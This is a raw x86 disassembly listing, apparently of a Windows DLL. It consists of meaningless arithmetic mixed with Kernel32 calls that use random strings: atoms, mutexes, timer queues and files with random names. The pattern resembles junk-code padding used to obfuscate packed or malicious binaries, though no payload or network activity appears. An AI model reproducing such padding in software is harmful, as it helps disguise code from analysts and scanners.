mov byte [ecx], al
mov edx, dword [ebp - 0x35f4]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x447c]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x177], al
mov dword [0x100bb318], 0x100b7360
lea eax, [ebp - 0x1254]
mov dword [ebp - 0x4a8c], eax
mov ecx, dword [ebp - 0x4328]
mov edx, dword [ecx]
and edx, dword [ebp - 0x4400]
mov dword [ebp - 0x315c], edx
mov eax, dword [ebp - 0x4214]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x1f2]
xor ecx, edx
mov eax, dword [0x100ba9dc]
mov byte [eax], cl
mov ecx, dword [ebp - 0x4044]
mov dl, byte [ecx]
mov byte [ebp - 0x2f7], dl
mov dword [ebp - 0x4a90], 0x100b71f0
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x39bc], eax
mov ax, word [ebp - 0x14d4]
mov word [0x100bb31c], ax
movsx ecx, word [ebp - 0xed0]
mov edx, dword [ebp - 0x4068]
movsx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x1338], cx
mov ecx, dword [ebp - 0x3d64]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x302c]
shl edx, cl
mov eax, dword [ebp - 0x40f8]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x1d5]
movsx edx, byte [ebp - 0xc1]
add ecx, edx
mov eax, dword [0x100ba370]
mov byte [eax], cl
push 0x100bb320
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4a94], eax
lea ecx, [ebp - 0x290]
mov dword [ebp - 0x4a98], ecx
lea edx, [ebp - 0x15c8]
mov dword [ebp - 0x4a9c], edx
movzx eax, word [0x100baa60]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x11bc], ax
movzx edx, word [ebp - 0x11dc]
movzx ecx, word [ebp - 0x16ac]
sar edx, cl
mov word [0x100ba598], dx
mov eax, dword [ebp - 0x3b28]
mov ecx, dword [0x100ba624]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x2ce8], edx
mov eax, dword [0x100ba788]
movsx ecx, word [eax]
movsx edx, word [ebp - 0xdfc]
imul ecx, edx
mov eax, dword [ebp - 0x47b8]
mov word [eax], cx
push str.Cvov_Fx8t_nd_D5eMse7y
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb338], ax
lea ecx, [ebp - 0x49bc]
mov dword [0x100bb33c], ecx
lea edx, [ebp - 0x2db]
mov dword [ebp - 0x4aa0], edx
lea eax, [ebp - 0x132]
mov dword [0x100bb340], eax
movzx ecx, word [ebp - 0x13e0]
mov edx, dword [0x100b99d8]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0x15f4], cx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4aa4], eax
push 0x100b99ec
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x491c]
cdq
idiv dword [0x100b7278]
mov dword [ebp - 0x308c], eax
mov ecx, dword [ebp - 0x455c]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x3968]
mov eax, dword [0x100ba668]
mov dword [eax], edx
mov dword [ebp - 0x4aa8], 0x100ba3e8
mov ecx, dword [ebp - 0x488c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x44e8]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0xa4], dl
movzx edx, byte [ebp - 0x197]
mov eax, dword [ebp - 0x3740]
movzx ecx, byte [eax]
shl edx, cl
mov byte [0x100b80fa], dl
lea ecx, [ebp - 0x9e08]
push ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bb344], eax
movsx edx, byte [ebp - 0x261]
movsx eax, byte [ebp - 0x22]
and edx, eax
mov byte [ebp - 0x161], dl
push str.fgrUXfpCdjASDt_zc
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bae70], ax
push str.LxANC
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x16dc], ax
push 0xb7
push 0
lea ecx, [ebp - 0x3bcc]
push ecx
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bb348], eax
lea edx, [ebp - 0x2c90]
mov dword [ebp - 0x4aac], edx
mov eax, dword [ebp - 0x3c60]
movzx edx, word [eax]
movzx ecx, word [0x100bae30]
sar edx, cl
mov word [0x100b7414], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba274], eax
push str.OjtHm7V_TK_d0.tcw5Lk
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x16e0], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bb34c], eax
mov ax, word [ebp - 0xc68]
mov word [ebp - 0x16e4], ax
mov ecx, dword [ebp - 0x3d98]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x2ef4]
mov dword [ebp - 0x3944], edx
movzx eax, byte [ebp - 0x4a]
mov ecx, dword [ebp - 0x4370]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x100bafa4]
mov byte [ecx], al
mov edx, dword [ebp - 0x3690]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x18c]
or eax, ecx
mov byte [ebp - 0x261], al
mov edx, dword [0x100b96f4]
mov eax, dword [ebp - 0x4400]
and eax, dword [edx]
mov dword [ebp - 0x2c58], eax
movzx ecx, word [0x100b7344]
mov edx, dword [ebp - 0x41bc]
movzx eax, word [edx]
imul ecx, eax
mov word [0x100b7418], cx
mov cx, word [ebp - 0x7c4]
mov word [ebp - 0x16e8], cx
lea edx, [ebp - 0xaf0c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x3fb0]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3b3c]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x36c0]
mov word [edx], cx
movzx eax, byte [ebp - 0x197]
movzx ecx, byte [ebp - 0x26f]
shl eax, cl
mov ecx, dword [0x100bafa4]
mov byte [ecx], al
mov edx, dword [ebp - 0x3188]
mov ecx, dword [ebp - 0x3fd0]
shr edx, cl
mov dword [ebp - 0x2df8], edx
lea eax, [ebp - 0x4934]
mov dword [ebp - 0x4ab0], eax
push 0x100bb350
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov cl, byte [ebp - 0x2c7]
mov byte [0x100b837a], cl
mov dx, word [0x100ba874]
mov word [ebp - 0x16ec], dx
movsx eax, word [ebp - 0xee8]
movsx ecx, word [0x100b72ec]
add eax, ecx
mov word [ebp - 0xe74], ax
mov edx, dword [ebp - 0x36d0]
mov al, byte [edx]
mov byte [0x100b837b], al
mov ecx, dword [ebp - 0x4a6c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x412c]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x95], dl
mov edx, dword [ebp - 0x3730]
or edx, dword [ebp - 0x2d7c]
mov dword [ebp - 0x4004], edx
mov eax, dword [ebp - 0x3b98]
mov ecx, dword [eax]
xor ecx, dword [0x100b7204]
mov edx, dword [0x100b9584]
mov dword [edx], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4ab4], eax
mov eax, dword [ebp - 0x44e0]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x2d6]
shl edx, cl
mov eax, dword [ebp - 0x3f88]
mov byte [eax], dl
push 0x100b988c
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx edx, word [ebp - 0x1168]
movzx ecx, word [ebp - 0x1480]
sar edx, cl
mov word [ebp - 0x10a8], dx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4ab8], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x47b4], eax
push str.VlR2Z.XZqDjCq_lNHy_t
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb2e0], ax
push str.NyWiEf_OAy6U4m8.Az7t2Bk
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb368], ax
mov eax, dword [ebp - 0x3ce4]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x3e18]
movsx eax, word [edx]
add ecx, eax
mov word [0x100b741c], cx
mov ecx, dword [0x100bad08]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x2af]
and edx, eax
mov ecx, dword [ebp - 0x4994]
mov byte [ecx], dl
mov edx, dword [ebp - 0x48b4]
mov eax, dword [edx]
mov dword [ebp - 0x4abc], eax
movzx ecx, word [0x100ba38c]
mov edx, dword [ebp - 0x4298]
movzx eax, word [edx]
imul ecx, eax
mov word [0x100b7218], cx
mov eax, dword [0x100babec]
xor edx, edx
div dword [ebp - 0x2d7c]
mov dword [ebp - 0x46dc], eax
mov ecx, dword [ebp - 0x499c]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x3b]
xor edx, eax
mov byte [ebp - 0x15e], dl
movsx ecx, word [ebp - 0x1180]
movsx edx, word [ebp - 0x1638]
xor ecx, edx
mov word [0x100b7420], cx
push str.Hjdya5s
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x16f0], ax
movzx eax, byte [ebp - 0x268]
mov ecx, dword [0x100b9660]
movzx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x1e8], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x35a4], eax
push 0x100b9de4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x100badbc]
mov ecx, dword [eax]
mov dword [ebp - 0x4ac0], ecx
mov edx, dword [ebp - 0x4914]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x1f6]
add eax, ecx
mov byte [0x100b802e], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4ac4], eax
lea edx, [ebp - 0x15b0]
mov dword [ebp - 0x4ac8], edx
mov eax, dword [0x100ba3ac]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xe0c]
sub ecx, edx
mov word [ebp - 0xc44], cx
mov eax, dword [ebp - 0x4738]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x2f6c]
mov dword [0x100bb134], ecx
lea edx, [ebp - 0x838]
mov dword [ebp - 0x4acc], edx
mov eax, dword [0x100babcc]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x296]
shl edx, cl
mov eax, dword [ebp - 0x4424]
mov byte [eax], dl
lea ecx, [ebp - 0x2fd8]
mov dword [0x100bb36c], ecx
mov dword [ebp - 0x4ad0], 0x100b7f8f
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bb370], eax
movzx edx, word [ebp - 0xe28]
mov eax, dword [ebp - 0x49a4]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x13b4], dx
movzx ecx, word [ebp - 0x72c]
movzx edx, word [ebp - 0x1254]
and ecx, edx
mov eax, dword [0x100b9e4c]
mov word [eax], cx
movsx ecx, byte [ebp - 0x161]
mov edx, dword [ebp - 0x499c]
movsx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x49b0]
mov byte [edx], cl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4360], eax
lea eax, [ebp - 0x38e4]
mov dword [0x100bb374], eax
movsx ecx, word [ebp - 0x14c0]
movsx edx, word [ebp - 0x1550]
add ecx, edx
mov word [ebp - 0x700], cx
lea eax, [ebp - 0x99]
mov dword [ebp - 0x4ad4], eax
movzx ecx, word [0x100b9638]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x16f4], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bb378], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3eac], eax
mov edx, dword [ebp - 0x35b8]
mov eax, dword [ebp - 0x3e2c]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [0x100bb2d8]
mov dword [edx], ecx
mov eax, dword [0x100ba0e8]
movzx edx, word [eax]
mov eax, dword [0x100b9a2c]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x14b4], dx
push 0x100bb37c
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x4628]
mov edx, dword [ebp - 0x48c4]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x3060], eax
mov dword [0x100bb3a0], 0x100ba180
push str.gFkod5
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x16f8], ax
lea ecx, [ebp - 0x496c]
mov dword [ebp - 0x4ad8], ecx
lea edx, [ebp - 0x140]
mov dword [ebp - 0x4adc], edx
movsx eax, byte [ebp - 0xef]
movsx ecx, byte [ebp - 0x28]
or eax, ecx
mov byte [0x100b80e2], al
movsx edx, byte [0x100b7e03]
mov eax, dword [ebp - 0x37e4]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x2c9], dl
mov edx, dword [0x100bb058]
mov eax, dword [edx]
cdq
idiv dword [ebp - 0x40c4]
mov ecx, dword [ebp - 0x3aa8]
mov dword [ecx], eax
mov dl, byte [ebp - 0x257]
mov byte [0x100b8386], dl
mov dword [ebp - 0x4ae0], 0x100b7314
mov eax, dword [ebp - 0x3428]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x4a50]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x1618], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba54c], eax
mov ecx, dword [ebp - 0x4318]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2f9c]
mov eax, dword [0x100ba304]
mov dword [eax], edx
mov dword [ebp - 0x4ae4], 0x100b8083
mov ecx, dword [ebp - 0x4050]
mov edx, dword [ecx]
mov dword [ebp - 0x4ae8], edx
lea eax, [ebp - 0x297]
mov dword [0x100bb3a4], eax
mov ecx, dword [ebp - 0x3540]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x11cc]
sar edx, cl
mov eax, dword [ebp - 0x4444]
mov word [eax], dx
mov ecx, dword [ebp - 0x37a0]
movsx edx, word [ecx]
movsx eax, word [0x100b73e8]
xor edx, eax
mov word [ebp - 0xb44], dx
movsx ecx, byte [ebp - 0x27e]
movsx edx, byte [ebp - 0x104]
sub ecx, edx
mov eax, dword [0x100bb0ec]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3fb0]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0xfd0]
shl edx, cl
mov word [ebp - 0x14bc], dx
movzx eax, word [ebp - 0x12ac]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba760], ax
mov ecx, dword [0x100b958c]
mov edx, dword [ebp - 0x3cb8]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x2ee0], eax
lea ecx, [ebp - 0x2d68]
mov dword [0x100bb3a8], ecx
mov dl, byte [ebp - 0x26d]
mov byte [ebp - 0x2f8], dl
push 0
push 2
push 2
push 0
push 4
push 0xc0000000
push str.GkROXqApJfnzA05U_nbccZ1N
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb3ac], eax
movsx eax, word [ebp - 0x140c]
movsx ecx, word [0x100ba8b4]
add eax, ecx
mov edx, dword [ebp - 0x4020]
mov word [edx], ax
lea eax, [ebp - 0x113]
mov dword [0x100bb3b0], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x35c0], eax
movzx ecx, word [ebp - 0x7d4]
movzx edx, word [ebp - 0x1670]
and ecx, edx
mov word [ebp - 0x4f4], cx
movzx eax, word [0x100b9f58]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x16fc], ax
push 0
push 4
push 0
push 0
push 1
push 0x40000000
push str.Jq7LtuipGA0078YVlALk
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb3b4], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4aec], eax
mov edx, dword [0x100ba888]
mov ecx, dword [ebp - 0x3f5c]
sar edx, cl
mov eax, dword [ebp - 0x4890]
mov dword [eax], edx
mov ecx, dword [ebp - 0x37ac]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x2e14]
mov eax, dword [0x100bb12c]
mov dword [eax], edx
lea ecx, [ebp - 0xac]
mov dword [ebp - 0x4af0], ecx
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x4af4], edx
mov eax, dword [ebp - 0x47d0]
mov cx, word [eax]
mov word [0x100bb3b8], cx
mov edx, dword [0x100b9704]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [0x100bae84]
mov ecx, dword [ebp - 0x3f78]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0x7d4], ax
mov edx, dword [ebp - 0x4314]
mov dword [ebp - 0x4af8], edx
mov eax, dword [ebp - 0x4768]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x298]
add ecx, edx
mov byte [0x100b71d7], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4874], eax
mov eax, dword [ebp - 0x386c]
movzx ecx, byte [eax]
movzx edx, byte [0x100b80ef]
and ecx, edx
mov eax, dword [ebp - 0x3608]
mov byte [eax], cl
mov ecx, dword [ebp - 0x4184]
mov edx, dword [ebp - 0x3d18]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x2da4], eax
push 0x100a847c
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1700], ax
movzx edx, word [0x100b7268]
mov eax, dword [ebp - 0x4a8c]
movzx ecx, word [eax]
sar edx, cl
mov word [0x100b7218], dx
mov ecx, dword [ebp - 0x47b8]
movsx eax, word [ecx]
mov edx, dword [0x100b9734]
movsx ecx, word [edx]
cdq
idiv ecx
mov edx, dword [ebp - 0x4148]
mov word [edx], ax
push str.GaeLHQes_B_9ejGX
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb3bc], ax
mov eax, dword [ebp - 0x44d8]
add eax, dword [0x100baaac]
mov dword [ebp - 0x3f6c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bb3c0], eax
lea ecx, [ebp - 0xf1]
mov dword [0x100bb3c4], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x36a0], eax
lea edx, [ebp - 0x28a]
mov dword [ebp - 0x4afc], edx
movzx eax, word [ebp - 0x11a8]
mov ecx, dword [ebp - 0x33ec]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x594], ax
mov eax, dword [ebp - 0x3ab4]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100baea8], eax
lea ecx, [ebp - 0xfa4]
mov dword [0x100bb3c8], ecx
mov dword [ebp - 0x4b00], 0x100b7394
mov edx, dword [ebp - 0x3724]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x3a94]
movsx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x3d80]
mov word [ecx], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4b04], eax
push 0x100bb3cc
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x3ae0]
mov eax, dword [ebp - 0x4328]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [0x100b9ee8], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4b08], eax
mov al, byte [0x100b71db]
mov byte [ebp - 0x2f9], al
push 2
push 0x100b9d20
mov ecx, dword [ebp - 0x9868]
push ecx
mov edx, dword [ebp - 0x986c]
push edx
mov eax, dword [0x100b9b0c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bb3f0], eax
movzx ecx, word [ebp - 0x156c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb128], ax
mov edx, dword [ebp - 0x3454]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x33e4]
movzx edx, byte [ecx]
or eax, edx
mov byte [0x100b72c2], al
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4b0c], eax
push 0
push 0x80
push 0
push 0
push 4
push 0xc0000000
push str.oMAQhZ2tclq_bwxxhKp
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4b10], eax
mov eax, dword [ebp - 0x439c]
movzx edx, word [eax]
movzx ecx, word [0x100ba214]
sar edx, cl
mov word [ebp - 0x530], dx
mov eax, dword [0x100baf9c]
mov ecx, dword [ebp - 0x3048]
add ecx, dword [eax]
mov edx, dword [ebp - 0x3bd4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3188]
and eax, dword [ebp - 0x2f6c]
mov ecx, dword [0x100b9a7c]
mov dword [ecx], eax
movsx edx, word [ebp - 0xac4]
imul eax, edx, 0x6cd
mov word [ebp - 0xd6c], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bae5c], eax
mov dword [ebp - 0x4b14], 0x2dd5
lea ecx, [ebp - 0x9d78]
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edx, dword [ebp - 0x38d8]
mov al, byte [edx]
mov byte [ebp - 0x2fa], al
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bb3f4], eax
mov ecx, dword [0x100b9e64]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [0x100b9808]
mov al, byte [edx]
mov byte [0x100b8387], al
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x4b18], ecx
push 2
lea edx, [ebp - 0x9844]
push edx
mov eax, dword [ebp - 0x98b8]
push eax
mov ecx, dword [ebp - 0x98bc]
push ecx
mov edx, dword [ebp - 0x3f7c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bb3f8], eax
mov eax, dword [ebp - 0x3f08]
xor eax, dword [0x100b97f8]
mov ecx, dword [ebp - 0x4374]
mov dword [ecx], eax
push str.1EZ.XnHEhjrb_O
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb3fc], ax
mov edx, dword [ebp - 0x495c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x41bc]
movzx ecx, word [ecx]
shl eax, cl
mov edx, dword [0x100ba750]
mov word [edx], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x38e0], eax
push 1
lea eax, [ebp - 0x9864]
push eax
mov ecx, dword [ebp - 0x98c0]
push ecx
mov edx, dword [ebp - 0x98c4]
push edx
mov eax, dword [0x100bac44]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100ba5d4], eax
movsx ecx, word [0x100ba180]
movsx edx, word [ebp - 0x140c]
xor ecx, edx
mov word [ebp - 0x578], cx
lea eax, [ebp - 0x456c]
mov dword [ebp - 0x4b1c], eax
lea ecx, [ebp - 0x1dc]
mov dword [0x100bb400], ecx
push 0x100bb404
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea edx, [ebp - 0x10c]
mov dword [ebp - 0x4b20], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bb140], eax
mov eax, dword [0x100ba868]
mov ecx, dword [ebp - 0x3fb4]
add ecx, dword [eax]
mov edx, dword [ebp - 0x46e4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3700]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
movzx edx, word [ebp - 0x1228]
mov eax, dword [ebp - 0x3830]
movzx ecx, word [eax]
sar edx, cl
mov word [0x100b735c], dx
mov ecx, dword [ebp - 0x3c70]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x788]
or edx, eax
mov ecx, dword [ebp - 0x3c4c]
mov word [ecx], dx
push str.nSY3_qCaU6P_Zu4iw.KNly
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1704], ax
lea edx, [ebp - 0x14b4]
mov dword [ebp - 0x4b24], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bb41c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x417c], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bb420], eax
lea eax, [ebp - 0x9fd0]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, dword [0x100bb1bc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x2d1]
and edx, eax
mov byte [0x100b726e], dl
mov ecx, dword [0x100bb314]
mov edx, dword [ecx]
imul edx, dword [ebp - 0x2f9c]
mov dword [ebp - 0x3fdc], edx
lea eax, [ebp - 0x33b4]
mov dword [ebp - 0x4b28], eax
movsx ecx, byte [ebp - 0x78]
mov edx, dword [0x100ba9dc]
movsx eax, byte [edx]
xor ecx, eax
mov byte [0x100b72c3], cl
mov ecx, dword [ebp - 0x3d14]
movzx edx, word [ecx]
movzx eax, word [0x100b7338]
sub edx, eax
mov ecx, dword [ebp - 0x3b5c]
mov word [ecx], dx
lea edx, [ebp - 0x14e4]
mov dword [ebp - 0x4b2c], edx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100badd0], eax
movsx eax, byte [0x100b7ff2]
mov ecx, dword [ebp - 0x45b0]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [0x100b7133], al
lea edx, [ebp - 0x1b0]
mov dword [ebp - 0x4b30], edx
push str.IxlE
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1708], ax
push 0x3c08
push 0x230a
push 0x2d44
push 0x16d8
mov eax, dword [0x100bb2d0]
push eax
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x3584], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb424], eax
mov ecx, dword [ebp - 0x4844]
add ecx, dword [ebp - 0x39c0]
mov dword [ebp - 0x4290], ecx
mov edx, dword [0x100b9c54]
mov eax, dword [ebp - 0x3d94]
mov ecx, dword [edx]
sar eax, cl
mov dword [0x100b7424], eax
push 0x100a852c
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb428], ax
mov ecx, dword [ebp - 0x3ec0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3b00]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x3624]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3da4], eax
movzx ecx, word [0x100b9b4c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x170c], ax
mov dx, word [ebp - 0xab4]
mov word [ebp - 0x1710], dx
lea eax, [ebp - 0xaa4]
mov dword [0x100bb42c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4b34], eax
mov ecx, dword [ebp - 0x3534]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x4414]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x11d], dl
mov edx, dword [0x100bb36c]
mov eax, dword [edx]
cdq
idiv dword [ebp - 0x429c]
mov dword [ebp - 0x40c4], eax
mov eax, dword [0x100baa5c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x4510]
movzx eax, word [edx]
xor ecx, eax
mov word [0x100bb31c], cx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bb430], eax
mov ecx, dword [ebp - 0x4250]
mov edx, dword [ebp - 0x3cf4]
add edx, dword [ecx]
mov dword [ebp - 0x4544], edx
movsx eax, byte [ebp - 0x178]
mov ecx, dword [ebp - 0x3df8]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0xb1], al
lea edx, [ebp - 0xed0]
mov dword [0x100bb434], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba2d8], eax
push 2
push 0x100bb218
mov eax, dword [ebp - 0x98c8]
push eax
mov ecx, dword [ebp - 0x98cc]
push ecx
mov edx, dword [ebp - 0x3a0c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100ba7cc], eax
mov eax, dword [ebp - 0x428c]
movzx ecx, byte [eax]
mov edx, dword [0x100bae24]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x3ee0]
mov byte [edx], cl
lea eax, [ebp - 0xaf78]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [ebp - 0x3170]
mov dword [ebp - 0x4b38], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bb438], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x45f0], eax
push 0
push 0x100
push 3
push 0
push 8
push 0x80000000
push str.GDUaNyqVA_vF01vU8Bjh
call dword [sym.imp.KERNEL32.dll_CreateFileW]
